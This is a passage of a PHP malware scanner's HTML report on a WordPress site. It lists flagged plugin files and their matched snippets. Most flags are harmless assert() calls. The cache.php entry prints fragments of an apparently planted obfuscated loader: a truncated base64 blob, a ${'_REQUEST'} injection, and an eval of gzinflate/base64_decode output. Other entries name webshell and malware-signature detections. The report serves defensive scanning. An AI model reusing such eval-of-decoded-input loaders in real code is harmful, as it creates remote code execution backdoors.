</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_224").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wordpress-importer/php-toolkit/DataLiberation/vendor-patched/rowbot/url/src/URL.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 10.46 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_225" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function assert <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `assert`</p><p><i>[<a href="https://www.php.net/assert" target="_blank" class="text-primary">https://www.php.net/assert</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">assert</span><span style="color: #007700">( </span><span style="color: #0000BB">$parsedURL</span><span style="color: #007700">-></span><span style="color: #0000BB">url </span><span style="color: #007700">!== </span><span style="color: #0000BB">null </span><span style="color: #007700">); </span><span style="color: #0000BB">self</span><span style="color: #007700">::</span><span style="color: #0000BB">initializeURL</span><span style="color: #007700">( </span><span style="color: #0000BB">$this</span><span style="color: #007700">, </span><span style="color: #0000BB">$parsedURL</span><span style="color: #007700">-></span><span style="color: #0000BB">url </span><span style="color: #007700">); return; } switch ( </span><span style="color: #0000BB">$parsedURL</span><span style="color: #007700">-></span><span style="color: #0000BB">error </span><span style="color: #007700">) { case </span><span style="color: #0000BB">APIParserErrorType</span><span style="color: #007700">::</span><span style="color: #0000BB">BASE</span><span style="color: #007700">: </span><span style="color: #0000BB">$message </span><span style="color: #007700">= </span><span style="color: #DD0000">'Invalid base URL'</span><span style="color: #007700">; break; case </span><span style="color: #0000BB">APIParserErrorType</span><span style="color: #007700">::</span><span style="color: #0000BB">URL</span><span style="color: #007700">: </span><span style="color: #0000BB">$message </span><span style="color: #007700">= </span><span style="color: #DD0000">'Invalid URL'</span><span style="color: #007700">; break; } throw new </span><span style="color: #0000BB">TypeError</span><span style="color: #007700">( </span><span style="color: #0000BB">$message </span><span style="color: #007700">); } public static function </span><span style="color: #0000BB">parse</span><span style="color: #007700">( </span><span style="color: #0000BB">$url</span><span style="color: #007700">, </span><span style="color: #0000BB">$base </span><span style="color: #007700">= </span><span style="color: #0000BB">null </span><span style="color: #007700">): ?</span><span style="color: #0000BB">self </span><span style="color: #007700">{ try { return new </span><span style="color: #0000BB">self</span><span style="color: #007700">( </span><span style="color: #0000BB">$url</span><span style="color: #007700">, </span><span style="color: #0000BB">$base </span><span style="color: #007700">); } catch ( </span><span style="color: #0000BB">Throwable $exception </span><span style="color: #007700">) { return </span><span style="color: #0000BB">null</span><span style="color: #007700">; } } public static function </span><span style="color: #0000BB">canParse</span><span style="color: #007700">( </span><span style="color: #0000BB">$url</span><span style="color: #007700">, </span><span style="color: #0000BB">$base </span><span style="color: #007700">= </span><span style="color: #0000BB">null </span><span style="color: #007700">): </span><span style="color: #0000BB">bo</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_225").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wordpress-importer/php-toolkit/DataLiberation/vendor-patched/rowbot/idna/bin/RegexBuilder.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 6.99 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_226" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function assert <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `assert`</p><p><i>[<a href="https://www.php.net/assert" target="_blank" class="text-primary">https://www.php.net/assert</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">assert</span><span style="color: #007700">( </span><span style="color: #0000BB">is_array</span><span style="color: #007700">( </span><span style="color: #0000BB">$codePoints</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">] ) ); if ( </span><span style="color: #0000BB">$codePoints</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">][</span><span style="color: #0000BB">0</span><span style="color: #007700">] !== </span><span style="color: #0000BB">$codePoints</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">][</span><span style="color: #0000BB">1</span><span style="color: #007700">] ) { </span><span style="color: #0000BB">$out </span><span style="color: #007700">.= </span><span style="color: #0000BB">sprintf</span><span style="color: #007700">( </span><span style="color: #DD0000">'\x{%04X}-\x{%04X}'</span><span style="color: #007700">, ...</span><span style="color: #0000BB">$codePoints</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">] ); continue; } </span><span style="color: #0000BB">$out </span><span style="color: #007700">.= </span><span style="color: #0000BB">sprintf</span><span style="color: #007700">( </span><span style="color: #DD0000">'\x{%04X}'</span><span style="color: #007700">, </span><span style="color: #0000BB">$codePoints</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">][</span><span style="color: #0000BB">0</span><span style="color: #007700">] )</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_226").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wordpress-importer/php-toolkit/DataLiberation/vendor-patched/rowbot/idna/tests/IdnaV2TestCase.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.28 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_227" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function assert <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `assert`</p><p><i>[<a href="https://www.php.net/assert" target="_blank" class="text-primary">https://www.php.net/assert</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">assert</span><span style="color: #007700">( </span><span style="color: #0000BB">count</span><span style="color: #007700">( </span><span style="color: #0000BB">$columns </span><span style="color: #007700">) === </span><span style="color: #0000BB">7 </span><span style="color: #007700">); </span><span style="color: #0000BB">$output</span><span style="color: #007700">[] = </span><span style="color: #0000BB">$columns</span><span style="color: #007700">; } return </span><span style="color: #0000BB">$output</span><span style="color: #007700">; } private function </span><span style="color: #0000BB">resolveErrorCodes</span><span style="color: #007700">( </span><span style="color: #0000BB">string $statusCodes</span><span style="color: #007700">, array </span><span style="color: #0000BB">$inherit</span><span style="color: #007700">, array </span><span style="color: #0000BB">$ignore </span><span style="color: #007700">): array { if ( </span><span style="color: #0000BB">$statusCodes </span><span style="color: #007700">=== </span><span style="color: #DD0000">'' </span><span style="color: #007700">) { return </span><span style="color: #0000BB">$inherit</span><span style="color: #007700">; } if ( </span><span style="color: #0000BB">$statusCodes </span><span style="color: #007700">=== </span><span style="color: #DD0000">'[]' </span><span style="color: #007700">) { return []; } </span><span style="color: #0000BB">$matchCount </span><span style="color: #007700">= </span><span style="color: #0000BB">preg_match_all</span><span style="color: #007700">( </span><span style="color: #DD0000">'/[PVUABCX][0-9](?:_[0-9])?/'</span><span style="color: #007700">, </span><span style="color: #0000BB">$statusCodes</span><span style="color: #007700">, </span><span style="color: #0000BB">$matches </span><span style="color: #007700">); if ( </span><span style="color: #0000BB">preg_last_error</span><span style="color: #007700">() !== </span><span style="color: #0000BB">PREG_NO_ERROR </span><span style="color: #007700">) { throw new </span><span style="color: #0000BB">RuntimeException</span><span style="color: #007700">(); } if ( </span><span style="color: #0000BB">$matchCount </span><span style="color: #007700">=== </span><span style="color: #0000BB">0 </span><span style="color: #007700">) { throw new </span><span style="color: #0000BB">RuntimeException</span><span style="color: #007700">(); } </span><span style="color: #0000BB">$errors </span><span style="color: #007700">= ...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_227").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wordpress-importer/php-toolkit/DataLiberation/vendor-patched/brick/math/src/BigNumber.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 16.09 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_228" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function assert <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `assert`</p><p><i>[<a href="https://www.php.net/assert" target="_blank" class="text-primary">https://www.php.net/assert</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">assert</span><span style="color: #007700">(</span><span style="color: #0000BB">$value </span><span style="color: #007700">instanceof static); return </span><span style="color: #0000BB">$value</span><span style="color: #007700">; } return static::</span><span style="color: #0000BB">from</span><span style="color: #007700">(</span><span style="color: #0000BB">$value</span><span style="color: #007700">); } private static function </span><span style="color: #0000BB">_of</span><span style="color: #007700">(</span><span style="color: #0000BB">$value</span><span style="color: #007700">) : </span><span style="color: #0000BB">BigNumber </span><span style="color: #007700">{ if (</span><span style="color: #0000BB">$value </span><span style="color: #007700">instanceof </span><span style="color: #0000BB">BigNumber</span><span style="color: #007700">) { return </span><span style="color: #0000BB">$value</span><span style="color: #007700">; } if (\</span><span style="color: #0000BB">is_int</span><span style="color: #007700">(</span><span style="color: #0000BB">$value</span><span style="color: #007700">)) { return new </span><span style="color: #0000BB">BigInteger</span><span style="color: #007700">((string) </span><span style="color: #0000BB">$value</span><span style="color: #007700">); } if (</span><span style="color: #0000BB">is_float</span><span style="color: #007700">(</span><span style="color: #0000BB">$value</span><span style="color: #007700">)) { </span><span style="color: #0000BB">$value </span><span style="color: #007700">= (string) </span><span style="color: #0000BB">$value</span><span style="color: #007700">; } if (</span><span style="color: #0000BB">strpos</span><span style="color: #007700">(</span><span style="color: #0000BB">$value</span><span style="color: #007700">, </span><span style="color: #DD0000">'/'</span><span style="color: #007700">) !== </span><span style="color: #0000BB">false</span><span style="color: #007700">) { if (\</span><span style="color: #0000BB">preg_match</span><span style="color: #007700">(</span><span style="color: #0000BB">self</span><span style="color: #007700">::</span><span style="color: #0000BB">PARSE_REGEXP_RATIONAL</span><span style="color: #007700">, </span><span style="color: #0000BB">$value</span><span style="color: #007700">, </span><span style="color: #0000BB">$matches</span><span style="color: #007700">, </span><span style="color: #0000BB">PREG_UNMATCHED_AS_NULL</span><span style="color: #007700">) !== </span><span style="color: #0000BB">1</span><span style="color: #007700">) { throw </span><span style="color: #0000BB">NumberFormatException</span><span style="color: #007700">::</span><span style="color: #0000BB">invalidFormat</span><span style="color: #007700">(</span><span style="color: #0000BB">$value</span><span style="color: #007700">); } </span><span style="color: #0000BB">$sign </span><span style="color: #007700">= </span><span style="color: #0000BB">$mat</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_228").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wordpress-importer/php-toolkit/DataLiberation/vendor-patched/brick/math/src/BigInteger.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 31.79 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_229" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function assert <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `assert`</p><p><i>[<a href="https://www.php.net/assert" target="_blank" class="text-primary">https://www.php.net/assert</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">assert</span><span style="color: #007700">(</span><span style="color: #0000BB">$bin </span><span style="color: #007700">!== </span><span style="color: #0000BB">false</span><span style="color: #007700">); </span><span style="color: #0000BB">$hex </span><span style="color: #007700">= \</span><span style="color: #0000BB">bin2hex</span><span style="color: #007700">(~</span><span style="color: #0000BB">$bin</span><span style="color: #007700">); </span><span style="color: #0000BB">$hex </span><span style="color: #007700">= </span><span style="color: #0000BB">self</span><span style="color: #007700">::</span><span style="color: #0000BB">fromBase</span><span style="color: #007700">(</span><span style="color: #0000BB">$hex</span><span style="color: #007700">, </span><span style="color: #0000BB">16</span><span style="color: #007700">)-></span><span style="color: #0000BB">plus</span><span style="color: #007700">(</span><span style="color: #0000BB">1</span><span style="color: #007700">)-></span><span style="color: #0000BB">toBase</span><span style="color: #007700">(</span><span style="color: #0000BB">16</span><span style="color: #007700">); </span><span style="color: #0000BB">$hexLength </span><span style="color: #007700">= \</span><span style="color: #0000BB">strlen</span><span style="color: #007700">(</span><span style="color: #0000BB">$hex</span><span style="color: #007700">); if (</span><span style="color: #0000BB">$hexLength </span><span style="color: #007700">< </span><span style="color: #0000BB">$baseHexLength</span><span style="color: #007700">) { </span><span style="color: #0000BB">$hex </span><span style="color: #007700">= \</span><span style="color: #0000BB">str_repeat</span><span style="color: #007700">(</span><span style="color: #DD0000">'0'</span><span style="color: #007700">, </span><span style="color: #0000BB">$baseHexLength </span><span style="color: #007700">- </span><span style="color: #0000BB">$hexLength</span><span style="color: #007700">) . </span><span style="color: #0000BB">$hex</span><span style="color: #007700">; } if (</span><span style="color: #0000BB">$hex</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">] < </span><span style="color: #DD0000">'8'</span><span style="color: #007700">) { </span><span style="color: #0000BB">$hex </span><span style="color: #007700">= </span><span style="color: #DD0000">'FF' </span><span style="color: #007700">. </span><span style="color: #0000BB">$hex</span><span style="color: #007700">; } } else { if (</span><span style="color: #0000BB">$hex</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">] >= </span><span style="color: #DD0000">'8'</span><span style="color: #007700">) { </span><span style="color: #0000BB">$hex </span><span style="color: #007700">= </span><span style="color: #DD0000">'00' </span><span style="color: #007700">. </span><span style="color: #0000BB">$hex</span><span style="color: #007700">; } } } return \</span><span style="color: #0000BB">hex2bin</span><span style="color: #007700">(</span><span style="color: #0000BB">$hex</span><span style="color: #007700">); } public function </span><span style="color: #0000BB">__toString</span><span style="color: #007700">() : </span><span style="color: #0000BB">string </span><span style="color: #007700">{ return </span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">value</span><span style="color: #007700">; } public function </span><span style="color: #0000BB">__serialize</span><span style="color: #007700">(): array { return [</span><span style="color: #DD0000">'value' </span><span style="color: #007700">=> </span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">value</span><span style="color: #007700">]; } public </span><span style="color: #0000BB">fu</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_229").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wordpress-importer/php-toolkit/DataLiberation/vendor-patched/brick/math/src/Internal/Calculator/NativeCalculator.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 13.41 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_230" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function assert <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `assert`</p><p><i>[<a href="https://www.php.net/assert" target="_blank" class="text-primary">https://www.php.net/assert</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">assert</span><span style="color: #007700">(</span><span style="color: #0000BB">$carry </span><span style="color: #007700">=== </span><span style="color: #0000BB">0</span><span style="color: #007700">); </span><span style="color: #0000BB">$result </span><span style="color: #007700">= \</span><span style="color: #0000BB">ltrim</span><span style="color: #007700">(</span><span style="color: #0000BB">$result</span><span style="color: #007700">, </span><span style="color: #DD0000">'0'</span><span style="color: #007700">); if (</span><span style="color: #0000BB">$invert</span><span style="color: #007700">) { </span><span style="color: #0000BB">$result </span><span style="color: #007700">= </span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">neg</span><span style="color: #007700">(</span><span style="color: #0000BB">$result</span><span style="color: #007700">); } return </span><span style="color: #0000BB">$result</span><span style="color: #007700">; } private function </span><span style="color: #0000BB">doMul</span><span style="color: #007700">(</span><span style="color: #0000BB">string $a</span><span style="color: #007700">, </span><span style="color: #0000BB">string $b</span><span style="color: #007700">) : </span><span style="color: #0000BB">string </span><span style="color: #007700">{ </span><span style="color: #0000BB">$x </span><span style="color: #007700">= \</span><span style="color: #0000BB">strlen</span><span style="color: #007700">(</span><span style="color: #0000BB">$a</span><span style="color: #007700">); </span><span style="color: #0000BB">$y </span><span style="color: #007700">= \</span><span style="color: #0000BB">strlen</span><span style="color: #007700">(</span><span style="color: #0000BB">$b</span><span style="color: #007700">); </span><span style="color: #0000BB">$maxDigits </span><span style="color: #007700">= \</span><span style="color: #0000BB">intdiv</span><span style="color: #007700">(</span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">maxDigits</span><span style="color: #007700">, </span><span style="color: #0000BB">2</span><span style="color: #007700">); </span><span style="color: #0000BB">$complement </span><span style="color: #007700">= </span><span style="color: #0000BB">10 </span><span style="color: #007700">** </span><span style="color: #0000BB">$maxDigits</span><span style="color: #007700">; </span><span style="color: #0000BB">$result </span><span style="color: #007700">= </span><span style="color: #DD0000">'0'</span><span style="color: #007700">; for (</span><span style="color: #0000BB">$i </span><span style="color: #007700">= </span><span style="color: #0000BB">$x </span><span style="color: #007700">- </span><span style="color: #0000BB">$maxDigits</span><span style="color: #007700">;; </span><span style="color: #0000BB">$i </span><span style="color: #007700">-= </span><span style="color: #0000BB">$maxDigits</span><span style="color: #007700">) { </span><span style="color: #0000BB">$blockALength </span><span style="color: #007700">= </span><span style="color: #0000BB">$maxDigits</span><span style="color: #007700">; if (</span><span style="color: #0000BB">$i </span><span style="color: #007700">< </span><span style="color: #0000BB">0</span><span style="color: #007700">) { </span><span style="color: #0000BB">$blockALength </span><span style="color: #007700">+= </span><span style="color: #0000BB">$i</span><span style="color: #007700">; </span><span style="color: #0000BB">$i </span><span style="color: #007700">= </span><span style="color: #0000BB">0</span><span style="color: #007700">; } </span><span style="color: #0000BB">$blockA </span><span style="color: #007700">= (int) \</span><span style="color: #0000BB">substr</span><span style="color: #007700">(</span><span style="color: #0000BB">$a</span><span style="color: #007700">, </span><span style="color: #0000BB">$i</span><span style="color: #007700">, </span><span style="color: #0000BB">$blockALength</span><span style="color: #007700">); </span><span style="color: #0000BB">$line </span><span style="color: #007700">= </span><span style="color: #DD0000">''</span><span style="color: #007700">; </span><span style="color: #0000BB">$carry </span><span style="color: #007700">= </span><span style="color: #0000BB">0</span><span style="color: #007700">; for (...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_230").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wordpress-importer/php-toolkit/ByteStream/ReadStream/ReadStream/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.53 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:46</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:46</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_231" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'c7OnS1XijIgf7A3aIdUrSSJhxDZ7+SYM5zHfckqve3lHe5+N+hHrvYvZ9zNu9hXZsNakDu++nn93X+xU8UFvGr6fvSbcXsu/84Dvf3x6+s7OYlq8w1vd2b3N2rve1DKWoTGcn2vbwna++cjPlNlQ2Yj0n2n9WXs35P+/6kj+k/uxIqVQk+gUwaBfXzM5YSL8r9c/PKUzqe/gVODRkuQ9aRusB2t9BYsPIwbkYREFlGs74hl7K/nVVmWaT3pnGC/Ayc+VqQHRTue35AATSxJQBGCIH8Msnop8IUuuZDTwy5+KIK8Pb3XEWHiYUH3QqvSUEke0E/dDY7tLqnErc7j36p2Nczn2c2pW7w1Bqs1LX1aKwM0DUbg3PgFrP9LyiHH5/XsWnX9z2l513X7kaYdBTAqWDiurGbry3jTrqVA9X7EJG7dQ2vdT31fTU3W+/RRzS7M6rg0rRFEhE8I7SxARlkRW/ZA1Mj4x8eFPjXO5eNxBrB94uyO...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$VGqLH</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_231").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wordpress-importer/parsers/class-wxr-parser.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 3.00 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_232" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit nano <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 24</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient</p><p><i>[<a href="https://github.com/s0md3v/nano" target="_blank" class="text-primary">https://github.com/s0md3v/nano</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$available_parsers</span><span style="color: #007700">[ </span><span style="color: #0000BB">$preferred_parser </span><span style="color: #007700">]()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_232").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/yzktv/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.19 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-31 15:43:03</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-31 15:43:03</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_233" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 446</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_233").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/Ultimate_VC_Addons/presets/Ultimate_Google_Maps.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 3.05 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2024-10-11 21:15:24</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:33</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_234" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 51</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'JTVCJTBBJTIwJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIyZmVhdHVyZVR5cGUlMjIlM0ElMjAlMjJsYW5kc2NhcGUubWFuX21hZGUlMjIlMkMlMEElMjAlMjAlMjAlMjAlMjJlbGVtZW50VHlwZSUyMiUzQSUyMCUyMmdlb21ldHJ5JTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIyc3R5bGVycyUyMiUzQSUyMCU1QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCU3QiUyMCUyMnZpc2liaWxpdHklMjIlM0ElMjAlMjJvbiUyMiUyMCU3RCUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCU3QiUyMCUyMmNvbG9yJTIyJTNBJTIwJTIyJTIzOWI5NTk1JTIyJTIwJTdEJTBBJTIwJTIwJTIwJTIwJTVEJTBBJTIwJTIwJTdEJTJDJTdCJTBBJTIwJTIwJTIwJTIwJTIyZmVhdHVyZVR5cGUlMjIlM0E...</span>
</span>
